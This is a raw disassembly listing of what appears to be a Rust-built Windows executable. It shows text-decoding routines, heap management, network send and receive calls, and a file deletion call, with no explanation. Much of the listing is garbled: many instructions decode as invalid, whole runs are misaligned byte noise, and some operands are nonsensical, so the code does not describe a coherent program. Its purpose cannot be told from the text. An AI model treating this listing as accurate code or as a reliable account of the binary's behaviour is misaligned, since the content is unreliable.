cmp r15, 2
movabs r9, 0x8080808080808080
je 0x14001059d
mov rdi, rbx
jmp 0x1400105f7
cmp dword [rbp + 0xbd0], 2
je 0x140010ebb
cmp byte [rbp + 0xc08], 0
je 0x140010556
cmp qword [rbp + 0xc18], 0
je 0x140010556
mov r8, qword [rbp + 0xc10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbp + 0xbe0], 1
jne 0x140010ebb
cmp qword [rbp + 0xbf8], 0
je 0x140010ebb
xor r14d, r14d
mov r15, rbx
jmp 0x140010e9a
movzx eax, word [rbx]
xor eax, 0xbbef
movzx ecx, byte [rbx + 2]
xor ecx, 0xbf
or cx, ax
movabs r9, 0x8080808080808080
je 0x1400105d9
movzx eax, word [rbx]
mov ecx, 2
cmp eax, 0xfeff
je 0x1400105d0
movzx eax, word [rbx]
rol ax, 8
movzx eax, ax
mov rdi, rbx
cmp eax, 0xfeff
jne 0x1400105f7
lea rax, [0x1401d2b40]
mov r15, qword [rbp + 0x1068]
jmp 0x1400105e5
lea rax, [0x1401d2b48]
jmp 0x1400105e5
lea rax, [0x1401d2b50]
mov ecx, 3
sub r15, rcx
jb 0x140011429
mov rsi, qword [rax]
add rcx, rbx
mov rdi, rcx
lea rax, [0x140193360]
cmp rsi, rax
mov qword [rbp + 0x1070], rbx
je 0x140010651
lea rax, [0x140193410]
cmp rsi, rax
je 0x140010651
lea rax, reloc.WS2_32.dll_ioctlsocket
cmp rsi, rax
je 0x140010651
lea rax, [0x140193388]
cmp rsi, rax
je 0x14001066d
lea rax, reloc.WS2_32.dll_getsockname
cmp rsi, rax
je 0x140010680
mov ebx, edi
neg ebx
and ebx, 7
lea rax, [rbx + 0x10]
cmp rax, r15
jbe 0x1400106b2
xor ebx, ebx
jmp 0x140010779
movzx eax, byte [rsi]
lea rcx, [0x140207fdc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov al, 2
xor edx, edx
jmp 0x1400107e2
mov rcx, rdi
mov rdx, r15
call fcn.140061b40
mov rbx, rax
jmp 0x1400109ca
xor ecx, ecx
mov eax, 0x800c000
cmp r15, rcx
je 0x1400109d2
mov rbx, rcx
movzx edx, byte [rdi + rcx]
test dl, dl
js 0x1400109ca
lea rcx, [rbx + 1]
cmp edx, 0x1b
ja 0x140010687
bt eax, edx
jae 0x140010687
jmp 0x1400109ca
test rbx, rbx
je 0x140010751
cmp byte [rdi], 0
js 0x140010987
cmp ebx, 1
je 0x140010751
cmp byte [rdi + 1], 0
js 0x1400109b4
cmp ebx, 2
je 0x140010751
cmp byte [rdi + 2], 0
js 0x1400112cc
cmp ebx, 3
je 0x140010751
cmp byte [rdi + 3], 0
js 0x1400112e9
cmp ebx, 4
je 0x140010751
mov rcx, r15
mov rax, r12
mov rdx, rdi
cmp byte [rdi + 4], 0
js 0x1400112f3
mov r8, rbx
cmp ebx, 5
mov r12, rax
mov r13, qword [rbp + 0x10a8]
mov r15, rcx
mov rdi, rdx
je 0x140010751
cmp byte [rdi + 5], 0
js 0x1400112fa
add byte [rax], al
add byte [rax], al
mov rbx, r8
cmp ebx, 6
mov r12, rax
mov r13, qword [rbp + 0x10a8]
mov r15, rcx
mov rdi, rdx
je 0x140010751
cmp byte [rdi + 6], 0
js 0x140011340
invalid
add byte [rcx - 0x73], cl
invalid
lea rax, [r15 - 0x10]
invalid
mov rcx, qword [rdi + rbx]
and rcx, r9
invalid
mov rdx, qword [rdi + rbx + 8]
and rdx, r9
and edx, ecx
and edx, ecx
mov r8, rdx
or r8, rcx
ror byte [rcx + 9], 1
enter 0xffffffffffff850f, 8
jne 0x140010978
invalid
invalid
jne 0x140010978
add byte [rax], al
add rbx, 0x10
cmp rbx, rax
jbe 0x140010755
ret
cmp rbx, r15
jae 0x1400109d2
cmp byte [rdi + rbx], 0
js 0x1400109ca
inc rbx
cmp r15, rbx
jne 0x140010782
jmp 0x1400109d2
mov rdx, qword [rsi + 8]
xor eax, eax
jmp 0x1400107e2
mov dword [rbp + 0xec8], 0
mov qword [rbp + 0xec0], 0
mov al, 1
xor edx, edx
jmp 0x1400107e2
mov al, 3
jmp 0x1400107e2
mov al, 4
jmp 0x1400107e2
mov al, 5
jmp 0x1400107e2
mov al, 6
jmp 0x1400107e2
mov al, 7
jmp 0x1400107e2
mov al, 8
jmp 0x1400107e2
mov al, 0xa
mov cl, 1
jmp 0x1400107e2
mov al, 0xa
xor ecx, ecx
jmp 0x1400107e2
mov al, 9
mov qword [rbp + 0x10b0], rdi
mov qword [rbp + 0x760], rsi
mov byte [rbp + 0x740], al
mov dword [rbp + 0x741], 0
mov byte [rbp + 0x745], 0
mov byte [rbp + 0x746], cl
mov byte [rbp + 0x747], 0
mov qword [rbp + 0x748], rdx
mov rax, qword [rbp + 0xec0]
mov qword [rbp + 0x750], rax
mov eax, dword [rbp + 0xec8]
mov dword [rbp + 0x758], eax
mov word [rbp + 0x75c], 0xbf80
mov byte [rbp + 0x768], 9
lea rcx, [rbp + 0x740]
mov rdx, r15
call fcn.140061840
test rax, rax
je 0x1400108a4
mov rsi, rax
lea rax, [rdx - 1]
bsr rcx, rax
not ecx
mov rax, 0xffffffffffffffff
shr rax, cl
inc rax
cmp rdx, 2
mov edi, 1
cmovae rdi, rax
lea rcx, [rbp + 0x740]
mov rdx, r15
call fcn.1400619b0
cmp rsi, 1
jne 0x1400108b3
cmp rax, 1
jne 0x1400108bf
cmp rdi, rdx
cmovae rdi, rdx
jmp 0x1400108bf
lea rcx, [rbp + 0x740]
mov rdx, r15
call fcn.1400619b0
mov rdi, rdx
test rax, rax
je 0x140011451
test rdi, rdi
je 0x140010911
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400108f2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010902
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x140010916
mov ecx, 1
mov rdx, rdi
call fcn.14015d7f0
ud2
mov eax, 1
movdqu xmm0, xmmword [rbp + 0x740]
movups xmm1, xmmword [rbp + 0x750]
movups xmm2, xmmword [rbp + 0x760]
movaps xmmword [rbp + 0x940], xmm2
movaps xmmword [rbp + 0x930], xmm1
movdqa xmmword [rbp + 0x920], xmm0
movaps xmmword [rbp + 0x760], xmm2
movaps xmmword [rbp + 0x750], xmm1
movdqa xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0xec0], rax
mov qword [rbp + 0xec8], rdi
mov qword [rbp + 0xed0], 0
xor ebx, ebx
jmp 0x140010c5c
test rcx, rcx
je 0x14001098b
tzcnt rax, rcx
shr eax, 3
jmp 0x1400109c7
xor ebx, ebx
jmp 0x1400109ca
test rdx, rdx
je 0x1400109bb
tzcnt rax, rdx
jmp 0x1400109c0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, reloc.WS2_32.dll_send
call fcn.140160ed0
ud2
xor r15d, r15d
xor edi, edi
jmp 0x140010ec0
mov ebx, 1
jmp 0x1400109ca
mov eax, 0x40
shr eax, 3
add rax, 8
add rbx, rax
mov r14, r15
sub r14, rbx
jne 0x140010a2e
test r15, r15
je 0x140010a4e
mov rsi, qword [rbp + 0x1070]
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140010a0c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010a1f
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jbe 0x140010a2b
add byte [rcx - 0x77], cl
invalid
test rax, rax
jne 0x140010a5b
jbe 0x140010a2b
add byte [rcx - 0x77], cl
invalid
mov ecx, 1
mov rdx, r15
call fcn.14015d7f0
ud2
add byte [rdi], cl
or ecx, dword [rdi]
mov dh, 6
movzx eax, byte [rsi]
lea rcx, [0x140208010]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0x10b0], rdi
mov ebp, 0x10b0
mov ebp, 0x10b0
jmp rax
mov al, 2
xor ecx, ecx
add dh, byte [rcx]
leave
jmp 0x140010abe
mov r14d, 1
mov rsi, qword [rbp + 0x1070]
mov rcx, r14
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x10c0]
rcl byte [rax], 0
invalid
add byte [rax - 0x75], cl
test eax, eax
rcl byte [rax], 0
rcl byte [rax], 0
add cl, ch
int3
jmp 0x140010e41
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
xor eax, eax
jmp 0x140010abe
shr bl, 0x41
mov dword [rbp + 0xec8], 0
mov qword [rbp + 0xec0], 0
mov al, 1
xor ecx, ecx
jmp 0x140010abe
test eax, ecx
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, eax
invalid
mov al, 3
jmp 0x140010abe
mov al, 6
jmp 0x140010abe
mov al, 8
jmp 0x140010abe
mov al, 0xa
xor edx, edx
jmp 0x140010abe
mov al, 9
jmp 0x140010abe
mov al, 4
jmp 0x140010abe
mov al, 5
jmp 0x140010abe
mov al, 7
jmp 0x140010abe
mov al, 0xa
mov dl, 1
mov qword [rbp + 0x760], rsi
mov byte [rbp + 0x740], al
mov dword [rbp + 0x741], 0
mov byte [rbp + 0x745], 0
mov byte [rbp + 0x746], dl
mov byte [rbp + 0x747], 0
mov qword [rbp + 0x748], rcx
mov rax, qword [rbp + 0xec0]
mov qword [rbp + 0x750], rax
mov eax, dword [rbp + 0xec8]
mov dword [rbp + 0x758], eax
mov word [rbp + 0x75c], 0xbf80
mov byte [rbp + 0x768], 9
lea rcx, [rbp + 0x740]
mov rdx, r14
call fcn.140061840
cmp rax, 1
setne al
mov r13, rbx
add rdx, rbx
setb bl
or bl, al
jne 0x140010b61
lea rax, [rdx - 1]
bsr rcx, rax
not ecx
mov rax, 0xffffffffffffffff
shr rax, cl
inc rax
cmp rdx, 2
mov edi, 1
cmovae rdi, rax
lea rcx, [rbp + 0x740]
mov rdx, r14
call fcn.1400619b0
cmp rax, 1
jne 0x140010b82
mov rsi, rdx
add rsi, r13
jae 0x140011282
mov rsi, rdi
test bl, bl
jne 0x14001146b
test rsi, rsi
mov rbx, r13
je 0x140010be5
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140010bc3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010bd6
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x140010bea
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
mov edi, 1
mov rcx, rdi
mov rdx, qword [rbp + 0x10b0]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm0, xmmword [rbp + 0x740]
movups xmm1, xmmword [rbp + 0x750]
movups xmm2, xmmword [rbp + 0x760]
movaps xmmword [rbp + 0x940], xmm2
movaps xmmword [rbp + 0x930], xmm1
movdqa xmmword [rbp + 0x920], xmm0
movaps xmmword [rbp + 0x760], xmm2
movaps xmmword [rbp + 0x750], xmm1
movdqa xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0xec0], rdi
mov qword [rbp + 0xec8], rsi
mov qword [rbp + 0xed0], rbx
cmp r15, rbx
jb 0x140010e03
mov qword [rbp + 0x1030], r15
mov r13, qword [rbp + 0xec8]
mov r12, qword [rbp + 0xed0]
mov qword [rbp + 0x10b8], r13
sub r13, r12
jb 0x1400113ca
mov rax, qword [rbp + 0x10b0]
lea rsi, [rax + rbx]
mov rax, rbx
mov rbx, r15
mov qword [rbp + 0x10c8], rax
sub rbx, rax
mov rax, qword [rbp + 0xec0]
mov qword [rbp + 0x10d0], rax
lea rdi, [rax + r12]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x920]
lea rdx, [rbp + 0x740]
mov r8, rsi
mov r9, rbx
call fcn.140061f20
movzx eax, byte [rbp + 0x928]
mov r15, qword [rbp + 0x920]
mov r14, qword [rbp + 0x930]
cmp eax, 1
je 0x140010d98
cmp eax, 2
jne 0x140010e17
nop dword [rax + rax]
cmp r14, r13
jae 0x140011296
mov byte [rdi + r14], 0xef
lea rcx, [r14 + 1]
cmp rcx, r13
jae 0x1400112aa
mov byte [rdi + r14 + 1], 0xbf
lea rcx, [r14 + 2]
cmp rcx, r13
jae 0x1400112bb
mov byte [rdi + rcx], 0xbd
cmp r15, rbx
ja 0x14001135e
add r14, 3
mov rax, r13
sub rax, r14
jb 0x14001134a
lea r8, [rsi + r15]
mov r9, rbx
sub r9, r15
lea rcx, [rdi + r14]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x920]
lea rdx, [rbp + 0x740]
call fcn.140061f20
add r15, qword [rbp + 0x920]
movzx eax, byte [rbp + 0x928]
add r14, qword [rbp + 0x930]
cmp eax, 2
je 0x140010d00
test eax, eax
je 0x140010e17
add r14, r12
mov qword [rbp + 0xed0], r14
mov rbx, qword [rbp + 0x10c8]
add rbx, r15
mov r15, qword [rbp + 0x1030]
mov rdx, r15
sub rdx, rbx
lea rcx, [rbp + 0x740]
call fcn.1400619b0
test rax, rax
je 0x1400113fc
mov r8, rdx
mov rax, qword [rbp + 0x10b8]
sub rax, r14
cmp rax, rdx
jb 0x140010deb
cmp r15, rbx
jae 0x140010c63
jmp 0x140010e03
lea rcx, [rbp + 0xec0]
mov rdx, r14
call fcn.1401614a0
cmp r15, rbx
jae 0x140010c63
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, rbx
mov rdx, r15
call fcn.140160e60
ud2
mov r13, qword [rbp + 0x10a8]
mov rax, qword [rbp + 0x10c0]
mov r15, qword [rbp + 0x10b8]
mov r12, qword [rbp + 0x1078]
mov rsi, qword [rbp + 0x1070]
mov r14, qword [rbp + 0x10d0]
lea rcx, [rbp + 0x88]
mov rdx, rsi
mov r8, qword [rbp + 0x1068]
call qword [rax + reloc.WS2_32.dll_recv]
cmp dword [rbp + 0xbd0], 2
je 0x140010eb0
cmp byte [rbp + 0xc08], 0
je 0x140010e87
cmp qword [rbp + 0xc18], 0
je 0x140010e87
mov r8, qword [rbp + 0xc10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbp + 0xbe0], 1
jne 0x140010eb0
cmp qword [rbp + 0xbf8], 0
je 0x140010eb0
mov r8, qword [rbp + 0xbf0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, r15
test r14, r14
mov rdi, r14
jne 0x140010ec0
xor edi, edi
mov r15, rbx
mov rax, qword [rbp + 0x6f0]
mov rcx, qword [rbp + 0x6f8]
call qword [rax + 0x18]
test rdi, rdi
je 0x140010ee7
mov rbx, rdi
mov rsi, qword [rbp + 0x58]
test rsi, rsi
jne 0x140010f5d
jmp 0x140010f8a
test r15, r15
jne 0x140010f52
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140010f18
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de8d
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de8d
mov r15, rax
mov dword [rax], 2
mov qword [rax + 0x58], 1
lea rax, [0x1401d2fd0]
mov qword [r15 + 0x60], rax
mov word [r15 + 0x68], 5
xor ebx, ebx
mov rsi, qword [rbp + 0x58]
test rsi, rsi
je 0x140010f8a
mov rdi, qword [rbp + 0x60]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140010f8a
cmp qword [rdi + 0x10], 0x11
jb 0x140010f78
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x68]
test rax, rax
je 0x140010fa2
lock dec qword [rax]
jne 0x140010fa2
lea rcx, [rbp + 0x68]
call fcn.140124a00
test rbx, rbx
je 0x1400110c1
test r13, r13
je 0x140011000
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140010fde
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010ff1
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x140011005
mov ecx, 1
mov rdx, r13
call fcn.14015d7f0
ud2
mov esi, 1
mov qword [rbp + 0x10d0], rbx
mov rcx, rsi
mov rdx, qword [rbp + 0x1098]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xa90]
mov rdx, rsi
mov r8, r13
call fcn.14012fe00
mov rax, qword [rbp + 0xa90]
mov r14, qword [rbp + 0xa98]
test rax, rax
je 0x140011188
mov rcx, qword [rbp + 0xaa0]
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], r14
mov qword [rbp + 0xaa0], rcx
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0xa90]
call fcn.140135d70
mov rdi, qword [rbp + 0x260]
mov r14, qword [rbp + 0x268]
test rdi, rdi
je 0x140011188
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14001115a
test r14, r14
je 0x140011185
mov rcx, qword [0x140215360]
xor r14d, r14d
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140011188
mov rcx, r15
call fcn.14015cd40
mov rsi, rax
mov rax, qword [rbp + 0xfd8]
lock dec qword [rax]
jne 0x1400110e5
lea rcx, [rbp + 0x550]
call fcn.140005640
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x14001110d
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x1098]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x580], 0
je 0x14001112d
mov r8, qword [rbp + 0x578]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp + 0xa90], rsi
lea rax, [0x1401692e8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140168e90]
lea r8, [rbp + 0xa90]
jmp 0x14000d189
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test r14, r14
je 0x140011180
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, rbx
jmp 0x140011188
xor r14d, r14d
test r13, r13
je 0x14001119f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je 0x1400111f6
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x1400111f6
lea rsi, [r14 - 1]
mov rdi, qword [r14 - 1]
mov rbx, qword [r14 + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400111e4
cmp qword [rbx + 0x10], 0x11
jb 0x1400111d2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
mov rbx, qword [rbp + 0xfd0]
je 0x140011218
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x10d0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xfd8]
lock dec qword [rax]
jne 0x140011231
lea rcx, [rbp + 0x550]
call fcn.140005640
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x140011259
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x1098]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x580], 0
je 0x14000d251
mov r8, qword [rbp + 0x578]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000d251
test bl, bl
jne 0x140010b8d
cmp rdi, rsi
cmovb rsi, rdi
jmp 0x140010b8d
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, r14
mov rdx, r13
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rdx, r13
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rdx, r13
call fcn.140160ed0
ud2
mov ebx, 2
jmp 0x1400109ca
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, reloc.WS2_32.dll_send
call fcn.140160ed0
ud2
mov ebx, 3
jmp 0x1400109ca
mov ebx, 4
jmp 0x1400112ff
mov ebx, 5
mov r12, rax
mov r13, qword [rbp + 0x10a8]
mov r15, rcx
mov rdi, rdx
jmp 0x1400109ca
lea r8, [0x1401d76e8]
mov qword [rsp + 0x20], r8
mov r8, rax
mov r9, r10
call fcn.140161400
ud2
lea rax, [0x1401d7700]
mov qword [rsp + 0x20], rax
call fcn.140161400
ud2
mov ebx, 6
jmp 0x1400109ca
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, r14
mov rdx, r13
call fcn.140160e60
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, r15
mov rdx, rbx
call fcn.140160e60
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_impl_response.rs
jmp 0x14000e63f
call fcn.1400138d0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_impl_response.rs
jmp 0x14000e63f
lea rcx, [0x1401db030]
lea r8, [0x1401db090]
mov edx, 0x5e
call fcn.140161290
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, r12
mov ecx, esp
mov ecx, esp
mov rdx, qword [rbp + 0x10b8]
call fcn.140160e60
ud2
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401dbd90]
mov edx, 0x28
call fcn.140161290
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_to_bytes.rs
jmp 0x14000e63f
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rdx, qword [rbp + 0x1068]
call fcn.140160e60
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, reloc.WS2_32.dll_send
call fcn.140160f40
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov dword [rsp + 0x38], 0
jg 0x14001779e
add byte [rdx + rdx + 0x4c], dh
mov eax, dword [rdi]
or eax, 0x1fdbbd
add byte [rax], al
add byte [rbx + rcx*4 + 0x61], cl
or byte [rax - 0x75], cl
imul edx, dword [rax], 0x9e058d48
sbb al, 0x1c
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x30], 1
add byte [rax], al
add byte [rbp + rcx*4 + 0x2d], cl
int1
retf
invalid
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x38
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
add byte [rax], al
add byte [rbp + rcx*4 + 0x2d], cl
int1
retf
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
lea r14, [rsp + 0x28]
sub byte [rax - 0x77], cl
int1
sub byte [rax - 0x77], cl
int1
mov rdx, rdi
mov r8, r14
call fcn.140059e20
mov cl, 1
test al, al
jne 0x140017cc9
test rbp, rbp
je 0x140017c95
xor r15d, r15d
lea rbx, [0x14020806c]
xorps xmm6, xmm6
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, byte [r12 + r15]
mov byte [rsp + 0x27], al
cmp rax, 0x22
ja case.default.0x140017af6
movsxd rcx, dword [rbx + rax*4]
add rcx, rbx
jmp rcx
lea rax, [0x1401d9788]
jmp 0x140017baa
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp eax, 0x5c
jne case.0x140017af6.1
mov dword [rsp + 0x60], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
lea rax, [fcn.14005e600]
mov qword [rsp + 0x78], rax
lea rax, [0x1401d97b8]
add bl, ch
invalid
add bl, ch
sub eax, 0x80e0488d
lea ecx, [rax - 0x20]
cmp cl, 0x5f
lea ecx, [rax - 0x20]
cmp cl, 0x5f
jae 0x140017be9
mov dword [rsp + 0x60], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
lea rax, [fcn.14005e600]
mov qword [rsp + 0x78], rax
lea rax, [0x140204aa8]
invalid
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
jmp 0x140017bc2
lea rax, [0x1401d9770]
jmp 0x140017baa
lea rax, [0x1401d9740]
jmp 0x140017baa
lea rax, [0x1401d9758]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], r13
movups xmmword [rsp + 0x40], xmm6
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.140059e20
test al, al
jne 0x140017c91
inc r15
cmp rbp, r15
jne 0x140017ae0
jmp 0x140017c95
lea rax, [rsp + 0x27]
mov qword [rsp + 0x60], rax
lea rax, [0x14005fa00]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x28], 2
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x48], 0
movabs rax, 0x800000020
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 3
lea rax, [0x1401d97a0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov rcx, rsi
mov rdx, rdi
lea r8, [rsp + 0x70]
call fcn.140059e20
test al, al
je 0x140017bd8
mov cl, 1
jmp 0x140017cc9
lea rax, str._C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutilwake_list.rs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x28]
mov rcx, rsi
mov rdx, rdi
call fcn.140059e20
mov ecx, eax
mov eax, ecx
movaps xmm6, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add al, 0x4c
mov eax, eax
add byte [rax], al
add al, ch
movabs byte [0xff85480b0f001401], al
push rax
invalid
